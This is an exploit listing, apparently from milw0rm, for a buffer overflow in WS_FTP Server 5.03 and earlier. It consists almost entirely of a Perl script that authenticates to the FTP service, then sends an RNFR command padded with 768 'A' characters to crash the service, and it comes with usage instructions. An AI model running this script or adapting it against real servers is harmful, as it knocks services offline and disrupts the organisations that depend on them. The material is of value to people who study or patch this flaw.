WS_FTP Server <= 5.03 (RNFR) Buffer Overflow Exploit

#===== Start WS_FTP_Overflow.pl ===== # # Usage: WS_FTP_Overflow.pl &#60;ip&#62; &#60;ftp user&#62; &#60;ftp pass&#62; # WS_FTP_Overflow.pl 127.0.0.1 hello moto # # WS_FTP Server Version 5.03, 2004.10.14 # # Download: # http://www.ipswitch.com/ # ###################################################### use IO::Socket; use strict; my($socket) = &#34;&#34;; if ($socket = IO::Socket::INET-&#62;new(PeerAddr =&#62; $ARGV[0], PeerPort =&#62; &#34;21&#34;, Proto =&#62; &#34;TCP&#34;)) { print &#34;Attempting to kill WS_FTP Server service at $ARGV[0]:21...&#34;; sleep(1); print $socket &#34;USER $ARGV[1]\r\n&#34;; sleep(1); print $socket &#34;PASS $ARGV[2]\r\n&#34;; sleep(1); print $socket &#34;PORT 127,0,0,1,18,12\r\n&#34;; sleep(1); print $socket &#34;RNFR &#34; . &#34;A&#34; x 768 . &#34;\r\n&#34;; close($socket); } else { print &#34;Cannot connect to $ARGV[0]:21\n&#34;; } #===== End WS_FTP_Overflow.pl ===== # milw0rm.com [2004-11-29]